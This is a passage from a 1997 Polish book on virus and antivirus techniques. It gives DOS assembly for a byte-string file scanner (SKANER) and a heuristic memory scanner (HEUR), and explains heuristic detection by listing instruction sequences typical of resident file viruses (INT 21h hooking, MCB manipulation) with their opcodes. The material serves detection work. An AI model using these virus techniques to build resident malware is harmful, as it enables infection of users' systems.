                cld                                 ; INC(SI,DI) w oper. na 
lancuchach 
 
                Call OpuscSpacje                    ; czytaj az znak <> SPACJA 
lub TAB 
 
                mov es:NumerBledu,BlBrakNazwyPliku  ; ewentualny numer bledu 
                cmp al,ZnakKoncaLinii               ;\ czy koniec parametrow ? 
                je BladParametrow                   ;- jesli tak, to powrot z 
procedury 
 
                mov di, offset NazwaPliku           ; es:di : tu zapisz wyniki 
                Call KopiujDoSpacji                 ; kopiuj nazwe pliku 
 
                mov es:NumerBledu,BlBrakCiagu       ; ewentualny numer bledu 
 
                cmp al,ZnakKoncaLinii               ;\ czy koniec parametrow ? 
                je BladParametrow                   ;- jesli tak, to powrot z 
procedury 
 
                xor al,al                           ; plik ASCIIZ, wiec dodaj 
zero 
                stosb 

background image

 
                Call OpuscSpacje                    ; czytaj az znak <>SPACJA lub 
TAB 
                cmp al,ZnakKoncaLinii               ; czy koniec parametrow 
                je BladParametrow                   ; jesli tak, to blad 
 
                mov es:NumerBledu,BlZlyCiag         ; ewentualny numer bledu 
                mov di, offset Ciag                 ; es:di : tu zapisz ciag 
                Call KopiujCiagDoKonca              ; kopiuj parametr : ciag 
                jc BladParametrow                   ; jesli TAK, to blad 
 
                mov ax,di 
                sub ax,offset Ciag 
                jz  BladParametrow                  ; jesli TAK, to lancuch 
pusty 
                mov es:DlugoscCiagu ,ax             ; - zachowaj dlugosc ciagu 
                mov es:AbsDlugoscCiagu ,ax          ; - zachowaj 2-i raz dlugosc 
ciagu 
 
                clc                                 ; nie ma bledu 
                jmp short $+3                       ; skocz i pomin rozkaz STC 
BladParametrow: 
                stc                                 ; jest blad 
                pop ds 
                ret                                 ; wroc z procedury 
CzytajParametry endp 
 
;------------------------------------------------------------------- 
OpuscSpacje     proc near 
 
                lodsb                               ; czytaj znak z ds:[si], inc 
si 
                cmp al,ZnakSpacji                   ;\ 
                je OpuscSpacje                      ; \ czy spacja lub znak 
tabulacji ? 
                cmp al,ZnakTabulacji                ; / jezeli tak, to czytaj 
nastepny znak 
                je OpuscSpacje                      ;/ 
                dec si                              ; zmniejsz wskaznik na 
poprzedni znak 
 

background image

                ret                                 ; powroc z procedury 
 
OpuscSpacje     endp 
;------------------------------------------------------------------- 
KopiujDoSpacji  proc near 
KopiujZnak: 
                lodsb                               ; czytaj znak z ds:[si], inc 
si 
                cmp al,ZnakSpacji                   ;\ 
                je NieKopiuj                        ; \ czy spacja lub znak 
tabulacji 
                cmp al,ZnakTabulacji                ;  \lub koniec linii polecen 
                je NieKopiuj                        ;  /jezeli tak, to koncz 
kopiowanie 
                cmp al,ZnakKoncaLinii               ; / 
                je NieKopiuj                        ;/ 
                stosb                               ; skopiuj znak 
                jmp short KopiujZnak                ; skocz i wez nastepny znak 
     NieKopiuj: 
                dec si                              ; zmniejsz wskaznik na 
poprzedni znak 
 
                ret                                 ; powroc z procedury 
 
KopiujDoSpacji  endp 
 
;------------------------------------------------------------------- 
KopiujCiagDoKonca proc 
 
Pa_Nic          = 00 
Pa_Apostrof     = 01 
 
                mov bl,Pa_Nic                       ; nie bylo znaku specjalnego 
                mov bh,0 
KopiujParamZnak: 
                lodsb                               ; czytaj znak z ds:[si], inc 
si 
 
                cmp bl,Pa_Apostrof                  ; czy tekst w apostrofach ? 
                jne ZwyklyTekst                     ; NIE - dane heksalne 
 

background image

                cmp al,39                           ; czy znak apostrofu ? 
                jne NieKoniecTekstu                 ; Nie - idz dalej 
 
                mov bl,Pa_Nic                       ; koniec tekstu w 
apostrofach 
                jmp KopiujParamZnak                 ; idz po kolejny znak 
 
NieKoniecTekstu: 
                stosb                               ; kopiuj zwykly tekst 
                jmp KopiujParamZnak                 ; wez kolejny znak 
 
ZwyklyTekst: 
                cmp al,39                           ; czy apostrof poczatkowy 
                jne NiePoczatektekstu               ; NIE - sprawdzaj dalej 
 
                mov bl,Pa_Apostrof                  ; ustaw flage 
                jmp KopiujParamZnak                 ; idz po nastepny znak 
NiePoczatektekstu: 
                cmp al,ZnakKoncaLinii               ; \ pomin, gdy znak=CR 
                je  KoniecParamTekstu               ; / 
 
                cmp al,ZnakSpacji                   ; \ pomin, gdy znak=spacja 
                je  KopiujParamZnak                 ; / 
 
                cmp al,ZnakTabulacji                ; \ pomin, gdy znak=TAB 
                je  KopiujParamZnak                 ; / 
 
                cmp al,'0'                          ; czy znak >=0 ? 
                jb  KoniecParamTekstuBlad           ; < blad 
 
                cmp al,'9'                          ; czy znak 0..9 ? 
                jbe ToCyfra09                       ; TAK - cyfra 
 
                and al,0DFh                         ; 'a'..'z'->'A'..'Z' 
 
                cmp al,'A'                          ; czy znak <'A' ? 
                jb  KoniecParamTekstuBlad           ; TAK - blad 
 
                cmp al,'F'                          ; czy znak >'F' ? 
                ja  KoniecParamTekstuBlad           ; TAK - blad 
                                                    ; znak '0'..'F' 

background image

ToCyfra09: 
                cmp bh,0                            ; czy licznik znakow=0 ? 
                je  ToPierwszyZnak                  ; TAK - zachowaj znak na 
pozniej 
 
                cmp al,'9'                          ; czy znak to cyfra ? 
                jbe ALJest09                        ; 
                sub al,'A'-'0'-10                   ; konwertuj na liczbe 
ALJest09: 
                cmp ah,'9'                          ; czy drugi znak to cyfra ? 
                jbe AHJest09 
                sub ah,'A'-'0'-10                   ; konwertuj na liczbe 
AHJest09: 
 
                sub ax,'00'                         ; \ 
                mov bh,al                           ;  \  konwersja liczby 
                mov al,16                           ;   \ heksalnej zapisanej 
                mul ah                              ;   / jako lancuch, na 
zwykla 
                add al,bh                           ;  /  liczbe (znak ASCII) 
                stosb                               ; /   i zapisz znak 
                mov bh,0                            ; licznik znakow znow=0 
                mov bl,Pa_Nic                       ; "czyste" wyjscie 
                jmp KopiujParamZnak                 ; wez nastepny znak 
 
ToPierwszyZnak: 
                mov ah,al                           ; zachowaj pierwszy znak 
liczby 
                mov bh,1                            ; jest juz jeden znak 
                jmp KopiujParamZnak                 ; idz po nastepny znak 
 
KoniecParamTekstu: 
                cmp bx,Pa_Nic                       ; czy "czyste" wyjscie ? 
                je  KoniecParamTekstu2              ; jezeli nie, to blad 
 
                dec si                              ; zmniejsz wskaznik na 
poprzedni znak 
KoniecParamTekstuBlad: 
                stc                                 ; gdy CF=1, to nie ma bledu 
                jmp $+3                             ; przeskocz 'CLC' 
KoniecParamTekstu2: 

background image

                clc                                 ; gdy CF=0, to nie ma bledu 
                ret                                 ; powrot z procedury 
 
KopiujCiagDoKonca endp 
 
;------------------------------------------------------------------- 
DrukLn          proc near                           ; drukowanie tekstu ACSIIZ 
spod DS:SI 
                                                    ; z przejsciem do nastepnej 
linii 
                Call Druk                           ; wydrukuj tekst 
                push si                             ; \ 
                mov si,Offset TeCRLF                ;  \ 
                Call Druk                           ;   \ 
                pop si                              ; --- przejdz do nastepnej 
linii 
 
                ret                                 ; powrot z procedury 
 
DrukLn          endp 
 
;------------------------------------------------------------------- 
Druk            proc near                           ; drukowanie tekstu ACSIIZ 
spod DS:SI 
 
                push ax                             ; \ 
                push bx                             ;  \ 
                push cx                             ;   \ 
                push si                             ; --- zachowaj zmieniane 
rejestry 
 
      DrukZnak:                                     ; petla drukowania jednego 
znaku 
                cmp si,offset CiagStart             ; \ 
                jb  ToNieParamtekst                 ;  \     jezeli drukowany 
jest 
                cmp si,offset CiagKoniec            ;   \    w obszarsze 
lancucha 'CiagBajtow' 
                jae  ToNieParamtekst                ;    \   to pozwol drukowac 
kazdy znak 
                mov cx,AbsDlugoscCiagu              ;     \ 

background image

                add cx,offset CiagStart             ;     / 
                cmp si,cx                           ;    / 
                jae KoniecDruku                     ;   / 
                lodsb                               ;  / 
                jmp short ToParamtekst              ; / 
ToNieParamtekst: 
                lodsb                               ; wez kolejny znak z 
lancucha 
 
                or al,al                            ; sprawdz, czy ostatni znak 

                jz KoniecDruku                      ; jesli tak, to wszystko 
wydrukowane 
 
                mov cx,IleWrostkow                  ; Ile zdefiniowanych 
wrostkow 
                mov bx,Offset TablicaWrostkow       ; tablica z definicjami 
 
     SzukajWrostka:                                 ; -sprawdz, czy al nie 
oznacza wrostka 
                cmp ds:[bx],al                      ; / 
                jne NastepnyWrostek                 ; jesli nie, to sprawdz 
nastepny w tablicy 
                test al,80h                         ; czy 7 bit ustawiony ? 
                jz NormalnyDruk                     ; nie - to ofset do tekstu 
                Call ds:[bx+1]                      ; tak - to procedura 
konwersji 
                xor al,al                           ; zeruj dla pozniejszego 
porownania 
                inc si                              ; - pomin ofset do liczby do 
konwrsji 
                inc si                              ; / 
                jmp short NastepnyWrostek           ; sprawdz nastepny wrostek w 
tablicy 
      NormalnyDruk: 
                push si                             ; wrostek to tekst spod 
ofsetu w tablicy 
                mov si,ds:[bx+1]                    ; wrostkow 
                Call Druk                           ; wyswietl wrostek 
                pop si 
                xor al,al                           ; zeruj dla pozniejszego 

background image

porownania 
     NastepnyWrostek: 
                add bx,3                            ; zwieksz index do tablicy 
wrostkow 
                loop SzukajWrostka                  ; powtorz cx razy 
 
                or al,al                            ; czy to byl wrostek (al=0) 

                jz DrukZnak                         ; jesli tak, to wez nastepny 
znak 
 
ToParamtekst: 
                mov ah,02h                          ; wyprowadz znak na 
                mov dl,al                           ; standardowe wyjscie DOSa 
                int 21h 
 
                jmp short DrukZnak                  ; skocz i wez nastepny znak 
lancucha 
KoniecDruku: 
                pop si                              ;  --- przywroc zmienione 
rejestry 
                pop cx                              ;   / 
                pop bx                              ;  / 
                pop ax                              ; / 
 
                ret                                 ; wracaj 
 
Druk            endp 
;------------------------------------------------------------------- 
 
Bin2HexUnInt32  proc near                           ; procedura wyswietla 32 
bitowa liczbe szesnastkowa 
                                                    ; ofset do liczby znajduje 
sie w si 
                push ax                             ; \ 
                push bx                             ;  \ 
                push dx                             ;   \ 
                push si                             ; --- zachowaj zmieniane 
rejestry 
 
                mov bx,[si]                         ; wez ofset do liczby 32 

background image

bitowej 
                mov ax,[bx]                         ; - wczytaj liczbe do DX:AX 
                mov dx,[bx+2]                       ; / 
                mov si,offset Hex2DecBufor          ; ustaw na poczatek bufora 
                mov bx,offset HexChars              ; wez ofset do tablicy z 
cyframi szesnastkowymi 
 
                push ax                             ; zapamietaj mniej znacz. 
slowo 
                mov ax,dx                           ; najpierw bar. znacz. slowo 
                Call Bin2HexUnInt16                 ; konwertuj liczbe 16 bitowa 
                pop ax                              ; przywroc mniej znacz. 
slowo 
 
                Call Bin2HexUnInt16                 ; terax mniej znacz. slowo 
 
                mov word ptr [si],'h'               ; ustaw na koncu znak 'h' i 

 
                mov si,offset Hex2DecBufor          ; - wyswietl liczbe 
                Call Druk                           ; / 
 
                pop si                              ; --- przywroc zmienione 
rejestry 
                pop dx                              ;   / 
                pop bx                              ;  / 
                pop ax                              ; / 
 
                ret                                 ; powrot 
 
 
Bin2HexUnInt16:                                     ; wewnetrzna procedura 
wywoluje "zstepujaco" 
                                                    ; kolejne nizsze ranga 
procedury konwersji 
                push ax 
                mov al,ah                           ; konwertuj b. znacz. czesc 
AX 
                Call Bin2HexUnInt8 
                pop ax                              ; konwertuj m. znacz. czesc 
AX 

background image

Bin2HexUnInt8:  mov ah,al 
                shr al,1                            ; \ 
                shr al,1                            ;  \ wyizoluj 4 bity (4..7) 
                shr al,1                            ;  / al=gorna polowa liczby 
                shr al,1                            ; /     szesnastkowej 
                Call Bin2HexUnInt4                  ; konwertuj b. znacz. bity 
(4..7) 
                mov al,ah 
                and al,15                           ; wyizoluj 4 bity (0..3) 
Bin2HexUnInt4: 
                xlatb                               ; al=byte ptr ds:[bx+al] 
                mov [si],al                         ; zachowaj znak w buforze 
                inc si                              ; zwieksz indeks 
                ret                                 ; powrot z wen. procedury 
 
Bin2HexUnInt32  endp 
 
;------------------------------------------------------------------- 
Bin2DecUnInt32  proc near                           ; wyswietla liczbe 32 bitowa 
bez znaku dziesietnie 
 
                push ax                             ; \ 
                push bx                             ;  \ 
                push dx                             ;   \ 
                push si                             ; --- zachowaj zmieniane 
rejestry 
 
                mov si,[si]                         ; wez ofset do liczby 32 
bitowej 
                mov ax,[si]                         ; - wczytaj liczbe do DX:AX 
                mov dx,[si+2]                       ; / 
                mov si,offset Hex2DecBufor+10       ; ustaw na koniec bufora, bo 
zapis od konca 
                mov byte ptr ds:[si],0              ; utworz ASCIIZ (dodaj zero 
na koncu) 
   DzielPrzez10: 
                mov bx,10                           ; dziel DX:AX przez BX 
                Call Dziel32                        ; w bx reszta z dzielenia 
                add bl,'0'                          ; dodaj ASCII "0" 
                dec si                              ; zmniejsz indeks do tablicy 
                mov byte ptr ds:[si],bl             ; zapisz cyfre 

background image

                or  dx,dx                           ; \ 
                jnz DzielPrzez10                    ;  \ 
                or  ax,ax                           ;   \ 
                jnz DzielPrzez10                    ; --- czy liczba jest juz 0 

 
                Call Druk                           ; wyswietl lancuch z liczba 
po konwersji 
 
                pop si                              ;  --- przywroc zmienione 
rejestry 
                pop dx                              ;   / 
                pop bx                              ;  / 
                pop ax                              ; / 
 
                ret                                 ; powrot 
 
Bin2DecUnInt32  endp 
 
;------------------------------------------------------------------- 
Dziel32         proc near                           ; dziel (dx:ax)/bx 
 
                push bp                             ; zachowaj bp 
                push ax                             ; zachowaj mniejsza czesc 
liczby 32 bitowej 
                mov ax,dx                           ; przenies b. znacz. czesc do 
mniej. znacz. 
                xor dx,dx                           ; i wyzeruj dx , dx:ax = > 
0:dx 
                div bx                              ; podziel (0:dx)/bx 
                mov bp,ax                           ; calosc z dzielenia, to 
wieksza czesc wyniku 
                pop ax                              ; przywroc do AX mniej 
znaczaca liczbe z poczatku 
                div bx                              ; dx jest reszta z dzielenia 
b. znacz. czesci przez BX 
                mov bx,dx                           ; w bx reszta z dzielenia 
                mov dx,bp                           ; dx:ax=liczba podzielona 
przez bx, 
                pop bp                              ; a w bx reszta z dzielenia 
                ret 

background image

 
Dziel32         endp 
 
;------------------------------------------------------------------- 
;              (teksty komunikatow+zmienne ogolne) 
;------------------------------------------------------------------- 
    TeCopyRight          db CR,LF,'SKANER v1.0, Autor : Adam Blaszczyk 1997' 
                         db CR,LF 
                         db CR,LF,'   Wywolanie: SKANER NazwaPliku CiagBajtow' 
                         db CR,LF 
                         db CR,LF,'   CiagBajtow moze skladac sie z liczb 
zapisanych heksalnie lub zwyklego' 
                         db CR,LF,'   tekstu np: ' 
                         db CR,LF,'       _ CD 21                - szuka 
wywolania przerwania 21h' 
                         db CR,LF,'       _ ''wirus''              - szuka slowa 
"wirus"' 
                         db CR,LF,'       _ ''abc''80C5''def''EE  F6 - szuka 
lancucha "abcă+def_¸"' 
    TeCRLF               db CR,LF,0 
    TeSzukamCiagu        db 'Szukam lancuch "',DrCiag ,'" w pliku "',DrPlik,'"',0 
    TeBezBledu           db 'OK !',0 
    TeBrakParametrow     db 'BLAD : Podaj Parametry !',0 
    TeBrakNazwyPliku     db 'BLAD : Podaj nazwe pliku !',0 
    TeBrakCiagu          db 'BLAD : Podaj ciag do wyszukania',0 
    TeZlyCiag            db 'BLAD : Podany ciag zawiera bledy !',0 
    TeBrakPlikuNaDysku   db 'BLAD : Nie moge znalezc pliku "',DrPlik,'"',0 
    TeBlad_ARIF          db 'BLAD : Brak dostepu do pliku "',DrPlik,'" (int 24h) 
!',0 
    TeZlyAtrybutPliku    db 'BLAD : "',DrPlik,'" to etykieta dysku lub katalog 
!',0 
    TeBrakDostepuDoPliku db 'BLAD : Brak dostepu do pliku - nie mozna chwilowo 
zmienic atrybutow ! ',0 
    TeNieMogeOtworzyc    db 'BLAD : Nie moge otworzyc pliku "',DrPlik,'"',0 
    TeNieMogeCzytac      db 'BLAD : Nie moge czytac pliku "',DrPlik,'"',0 
    TeNieMogeZamknac     db 'BLAD : Nie moge zamknac pliku "',DrPlik,'"',0 
    TePlikZaKrotki       db 'BLAD : Plik "',DrPlik,'" jest krotszy niz ciag !',0 
    OffsetyKomunikatow   dw offset TeBezBledu             ; BlBezBledu           
equ 00h 
                         dw offset TeBrakParametrow       ; BlBrakParametrow     
equ 01h 

background image

                         dw offset TeBrakNazwyPliku       ; BlBrakNazwyPliku     
equ 02h 
                         dw offset TeBrakCiagu            ; BlBrakCiagu          
equ 03h 
                         dw offset TeZlyCiag              ; BlZlyCiag            
equ 04h 
                         dw offset TeBrakPlikuNaDysku     ; BlBrakPlikuNaDysku   
equ 05h 
                         dw offset TeBlad_ARIF            ; BlBlad_ARIF          
equ 06h 
                         dw offset TeZlyAtrybutPliku      ; BlZlyAtrybutPliku    
equ 07h 
                         dw offset TeBrakDostepuDoPliku   ; 
BlBrakDostepuDoPliku equ 08h 
                         dw offset TeNieMogeOtworzyc      ; BlNieMogeOtworzyc    
equ 09h 
                         dw offset TeNieMogeCzytac        ; BlNieMogeCzytac      
equ 0Ah 
                         dw offset TeNieMogeZamknac       ; BlNieMogeZamknac     
equ 0Bh 
                         dw offset TePlikZaKrotki         ; BlPlikZaKrotki       
equ 0Ch 
    TeNieZnalazlem       db 'Nie znalazlem lancucha "',DrCiag ,'" w pliku 
"',DrPlik,'" !',0 
    TeZnalazlem          db 'Ciag "',DrCiag ,'" wystapil ' 
                         db DrUnIntDec 
                         dw offset IleZnalezionych 
                         db ' raz(y) w pliku "',DrPlik,'" !',0 
   TeZnalezionyNaPozycji db 'Ciag "',DrCiag ,'" wystapil na pozycji ' 
                         db DrUnIntHex 
                         dw offset AdresZnalezienia 
                         db ',' 
                         db DrUnIntDec 
                         dw offset AdresZnalezienia 
                         db 0 
   HexChars              db '0123456789ABCDEF' 
TablicaWrostkow          db DrPlik 
                         dw offset NazwaPliku 
                         db DrCiag 
                         dw offset Ciag 
                         db DrUnIntDec 

background image

                         dw offset Bin2DecUnInt32 
                         db DrUnIntHex 
                         dw offset Bin2HexUnInt32 
        NumerBledu       db ? 
        MojAdresPSP      dw ? 
        AdresCzytania    dd ? 
        AdresZnalezienia dd ? 
        Przeczytane      dw ? 
        IleZnalezionych  dd ? 
        DlugoscCiagu     dw ? 
        AbsDlugoscCiagu  dw ? 
        StareDTAOfs      dw ? 
        StareDTASeg      dw ? 
        StareI24Ofs      dw ? 
        StareI24Seg      dw ? 
        ZmienAtrPliku    db ? 
        Hex2DecBufor     db 11 dup(?) 
        CiagStart: 
        Ciag             db RozmiarCiagu  dup(?) 
        CiagKoniec: 
        NazwaPliku       db DlugNazwyPliku dup(?) 
        BufDTA           DTA_STRUC <> 
SKANER        ENDS 
 
;------------------------------------------------------------------- 
;                         Segment DTA 
;  do wczytywania danych (127 sektorow 512 bajtowych=65024 bajtow) 
;------------------------------------------------------------------- 
ProgDTA  SEGMENT 
         BuforDanych     db RozmiarBuforaDanych dup(?)    ; bufor na dane z pliku 
ProgDTA  ENDS 
 
;------------------------------------------------------------------- 
;                         Segment Stosu 
;------------------------------------------------------------------- 
ProgStos segment word stack 'STACK'                      ; ustaw STOS 
         dw RozmiarStosu dup(?) 
ProgStos ends 
 
                end start 
 

background image

 
12.2. Heurystycze wyszukiwanie wirusów 
Jak wspomniano we wstępie, większość istniejących wirusów to najczęściej przeróbki, 
stąd techniki wykorzystywane w pierwowzorach są bez większych zmian 
implementowane w kolejnych, nowych pokoleniach wirusów. 
Wykorzystując ten fakt, twórcy programów antywirusowych zaczęli stosować technikę 
heurystycznego wykr

ywania kodu, polegającą na tym, iż na podstawie znajomości 

charakterystycznych, klasycznych sekwenqi instrukcji zawartych w typowych wirusach, 
można znaleźć nieznane jeszcze, ale wykorzystujące je wirusy. Typowe instrukcje 
wykorzystywane przez wirusy zosta

ły wymienione w poprzednich rozdziałach, np. przy 

okazji omawiania instalacji w systemie i przejmowania przerwań. Poniżej pokazano kilka 
instrukcji podatnych na heurystykę lub sekwencji znajdujących się najczęściej w kodzie 
typowego wirusa plikowego. Jeżeli program antywirusowy, przeszukując pamięć lub plik, 
zidentyfikuje je (lub też inne), najczęściej informuje o tym użytkownika. Często wykrycie 
nawet kilku charakterystycznych bajtów w pamięci może umożliwić wykrycie nieznanego 
jeszcze wirusa. Poszukiwanie 

sekwencji może być prowadzone bądź to przy okazji 

zwykłego skaningu, bądź też podczas kontrolowanego uruchamiania programów (tryb 
krokowy, emulacja procesora). 
CMP AX, 4B00h                ; sprawdč czy jest uruchamiany jakiť program  
                             ; 3D,00,4B kod maszynowy rozkazu 
CMP DS:[0],Z                 ; czy ostatni blok pamiŕci  
                             ; 80,3E,00,00, 5A kod maszynowy rozkazu 
MOV AX, 2521h                ; funkcja DOS ustaw adres przerwania 21h  
INT 21h                      ; wywo│aj funkcjŕ B8,21,25,CD,21 kod maszynowy        
                             ; sekwencji 
MOV WORD PTR [l],0008        ; ustaw blok jako systemowy w nag│ˇwku MCB  
                             ; C7,06,01,00,08,00 kod maszynowy instrukcji 
CALL NEXT                    ; weč relatywny offset NEXT:  
                             ; E8,00,00 kod instrukcji 
Zamieszczony poniżej program stara się znaleźć w całej wykorzystywanej przez 
programy użytkowe pamięci operacyjnej sekwencje, które zwykle są wykorzystywane 
przez wirusy. 
 
;----------------------------------------------------------------------------; 
;                                                                              

;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ; 
;                                                                            ; 
;                       HEUR v1.0, Autor : Adam Blaszczyk 1997               ; 
;                                                                            ; 
;              Program przeglada bloki MCB obecne w systemie i poszukuje w   ; 
;              nich kilku standardowo wystepujacych w wirusach sekwencji     ; 
;              Przy jego uzyciu mozna wykryc w pamieci niektore wirusy       ; 
;              rezydetne                                                     ; 

background image

;----------------------------------------------------------------------------; 
;  Dane techniczne                                                           ; 
;----------------------------------------------------------------------------; 
;                                                                            ; 
;  Pierwszy bajt sygnatury jest w pliku zXORowany z wartoscia 0AAh, a po     ; 
;  uruchomieniu programu przywraca oryginalna wartosc pierwszego bajtu       ; 
;  Dzieki temu program nie wykryje sygnatur np. w buforach dyskowych lub     ; 
;  buforach programow cache (np. SMARTDRV)                                   ; 
;                                                                            ; 
;  Program nie sprawdza blokow wolnych (wskaznik PSP w polu bloku MCB=0)     ; 
;                                                                            
;;                                                                            
;;                                                                            
;; 
;----------------------------------------------------------------------------; 
 
JUMPS 
HEUR SEGMENT 
     ORG  100h 
     ASSUME CS:HEUR, DS:HEUR 
 
     NUL = 00h                           ; \ 
     LF  = 0Ah                           ;  - stale znakow 
     CR  = 0Dh                           ; / 
 
IleSygnZebyAlarm = 10                    ; okresla, ile sygnatur musi wystapic 
                                         ; w badanym bloku MCB, aby potraktowac 
                                         ; jego zawartosc za podejrzana 
                                         ; i wyswietlic ostrzezenie 
 
DlugProgPara  = (Offset Koniec-Offset Start+15)/16+10h 
                                         ; okresla dlugosc programu w pamieci 
 
Sygn struc                               ; \ 
     SygnNazwa     db 45 dup (?)         ;  \ 
     SygnDlug      dw 0                  ;   \ 
     Sygn00        db 0                  ;    \ 
     Sygn01        db 0                  ;     \ 
     Sygn02        db 0                  ;      \  struktura opisujaca 
     Sygn03        db 0                  ;      /  sygnature wirusa 
     Sygn04        db 0                  ;     / 

background image

     Sygn05        db 0                  ;    / 
     Sygn06        db 0                  ;   / 
     Sygn07        db 0                  ;  / 
Sygn ends                                ; / 
 
DlugoscSygnatury = Size Sygn             ; dlugosc struktury 
 
;----------------------------------------------------------------------------- 
Start: 
       lea   si,TeCopyRight              ; SI=ofset do informacji o programie 
       Call  DrukLn                      ; wyswietl info o programie 
 
       Call  SzukajHeur                  ; szukaj sekwencji w pamieci 
 
       mov   ax,4C00h                    ; funkcja DOS - koncz program 
       int   21h                         ; wywolaj funkcje 
 
;----------------------------------------------------------------------------- 
SzukajHeur: 
       push  es ax bx cx dx              ; zachowaj zmieniane rejestry 
 
       mov   bx,IleSygnatur              ; ile sygnatur do odXORowania 
 
       lea   si,Sygnatury                ; skad pobierac sygnatury 
       add   si,size SygnNazwa+size SygnDlug 
                                         ; i gdzie XORowac bajt 
XORujSygnature: 
       xor   byte ptr [si],0AAh          ; przywroc prawdziwy bajt sygnatury 
       add   si,DlugoscSygnatury         ; wez kolejna sygnature 
 
       dec   bx                          ; zmniejsz licznik sygnatur 
       jnz   XORujSygnature              ; powtarzaj dla kazdej sygnatury 
 
       mov   IloscSygn,0 
       mov   ax,5802h                    ; funkcja DOS - czy UMB dolaczone ? 
       int   21h                         ; wywolaj funkcje 
 
       push  ax                          ; zachowaj informacje na pozniej 
 
       mov   ax,5803h                    ; funkcja DOS - dolacz/odlacz bloki UMB 
       mov   bx,1                        ; sprobuj dolaczyc bloki UMB 

background image

       int   21h                         ; wywolaj funkcje 
 
       mov   ah,52h                      ; funkcja DOS - wez adres listy list LL 
       int   21h                         ; wywolaj funkcje 
 
       mov   ax,es:[bx-2]                ; wez adres pierwszego bloku MCB 
 
NastepnyMCB:                             ; kolejne bloki MCB 
 
       mov   es,ax                       ; ES=MCB 
       mov   bl,byte ptr es:[0]          ; zachowaj info o znaczniku bloku 
 
       mov   dx,es:[0003]                ; DX=rozmiar bloku MCB 
       mov   cx,es:[0001]                ; CX=adres PSP z bloku MCB 
       Call  SzukajWBloku 
 
       stc                               ; +1 w dodawaniu ponizej 
       adc   ax,word ptr es:[0003]       ; dodaj rozmiar bloku MCB+1 
                                         ; AX=nastepny blok MCB 
       cmp   bl,'M'                      ; czy to posredni blok ? 
       je    NastepnyMCB                 ; TAK - przegladaj 
 
       cmp   bl,'Z'                      ; czy to ostatni blok ? 
       je    OstatniBlokMCB              ; TAK - zakoncz przegladanie 
 
                                         ; zly blok MCB - naruszona struktura 
       lea   si,TeZlyMCB                 ; \ wyswietl komunikat 
       Call  DrukLN                      ; / o blednym bloku MCB 
 
OstatniBlokMCB: 
 
       pop   bx                          ; przywroc info o UMB 
 
       mov   bh,0                        ; BX=BL 
       mov   ax,5803h                    ; funkcja DOS - dolacz/odlacz bloki UMB 
       int   21h                         ; wywolaj funkcje 
 
       pop   dx cx bx ax es              ; przywroc zmieniane rejestry 
 
       cmp   IloscSygn,0                 ; \ 
       jne   SzukajHeurPowrot            ;  \ 

background image

                                         ;   - jezeli nie znalazl zadnej 
       lea   si,TeNieMaSygnatur          ;  /  sygnatury to wyswietl komunikat 
       Call  DrukLN                      ; / 
 
SzukajHeurPowrot: 
       ret                               ; powrot 
 
 
;----------------------------------------------------------------------------- 
SzukajWBloku:                            ; szuka sygnatury w bloku MCB 
                                         ; AX=blok MCB 
                                         ; DX=dlugosc bloku w paragrafach 
       push  ds es ax bx cx dx si di     ; zachowaj zmieniane rejestry 
 
       or    cx,cx                       ; czy blok jest nieuzywany ? 
       je    SzukajWBlokuPowrot          ; TAK - nie sprawdzaj i powroc 
 
       mov   AdresMCB,ax                 ; zapamietaj adres MCB 
 
       inc   ax                          ; ES:0= MCB+1:0 
       mov   es,ax                       ; ES wskazuje na dane w bloku 
 
       lea   si,TeSprawdzam              ; \ 
       Call  Druk                        ;  \ 
       lea   si,TeBlokMCB                ;   \ 
       Call  Druk                        ;    \ 
       mov   ax,AdresMCB                 ;     \ 
       Call  DrukHEX16                   ;      \  wypisz info o szukaniu 
       lea   si,TeRozmiar                ;      /  w bloku MCB i podaj jego 
       Call  Druk                        ;     /   adres, dlugosc 
       mov   ax,dx                       ;    / 
       Call  DrukHex16                   ;   / 
       lea   si,TeParagraf               ;  / 
       Call  DrukLn                      ; / 
 
       mov   bx,cs                       ; \ 
       mov   ax,es                       ;  \ czy to MCB programu HEUR ? 
       cmp   ax,bx                       ;  / TAK-nie sprawdzaj kodu programu 
       jne   InnyBlok                    ; /      ale sprawdz poza nim 
 
       mov   ax,DlugProgPara 

background image

       sub   dx,ax                       ; odejmij dlugosc kodu 
       or    dx,dx                       ; \ czy nie odjete za duzo ? 
       jz    SzukajWBlokuPowrot          ; / 
 
       add   ax,AdresMCB                 ; \ ES=dane poza kodem programu 
       mov   es,ax                       ; / 
InnyBlok: 
       or    dx,dx                       ; \ pomin blok, gdy dlugosc =0 
       je    SzukajWBlokuPowrot          ; / 
 
       mov   IloscBiezSygn,0             ; licznik wystapien w bloku 
       cld                               ; SI:=SI+1, DI:=DI+1 po oper. 
lancuchowych 
       xor   di,di                       ; dane sa pod ES:0000 
 
SzukajDalej: 
 
       mov   bx,IleSygnatur              ; ustaw licznik sygnatur 
 
       lea   si,Sygnatury                ; podaj, skad pobierac sygnatury 
SzukajSygnature: 
       push  si                          ; zachowaj zmieniane SI 
 
       mov   bp,si                       ; zachowaj ofset do nazwy sygnatury 
       add   si,size SygnNazwa+size SygnDlug 
                                         ; dodaj ofset do sygnatury 
 
       lodsb                             ; wez 1-szy bajt sygnatury 
       scasb                             ; czy=bajt w pamieci ? 
       jnz   NastepnaSygnatura           ; NIE - sprawdz kolejna sygnature 
                                         ; TAK - porownaj cala sygnature 
       mov   cx,word ptr ds:[si-3]       ; wez dlugosc sygnatury 
       dec   cx                          ; pierwszego bajtu nie trzeba 
                                         ; porownywac 
       push  di                          ; DI jest pozniej potrzebne wiec 
zachowaj 
       rep   cmpsb                       ; porownaj sygnature z pamiecia 
       pop   di                          ; przywroc DI 
       jnz   NastepnaSygnatura           ; NIE - nie ma sygnatury 
                                         ; TAK - sygnatura znaleziona 
       inc   IloscSygn                   ; zwieksz ilosc wystapien (globalna) 

background image

       inc   IloscBiezSygn               ; zwieksz ilosc wystapien (w MCB) 
 
       lea   si,TeAdres                  ; \ 
       Call  Druk                        ;  \      wyswietl jaka sygnatura 
       mov   ax,es                       ;   \     zostala znaleziona 
       Call  DrukHEX16                   ;    \    i pod jakim adresem 
       mov   ax,0E3Ah                    ;     \ 
       int   10h                         ;      \ 
       mov   ax,di                       ;       \ 
       dec   ax                          ;       / 
       Call  DrukHex16                   ;      / 
       lea   si,TeSygnatura              ;     / 
       Call  Druk                        ;    / 
       mov   si,bp                       ;   / 
       add   si,SygnNazwa                ;  / 
       Call  DrukLn                      ; / 
 
NastepnaSygnatura: 
 
       pop   si                          ; przywroc SI 
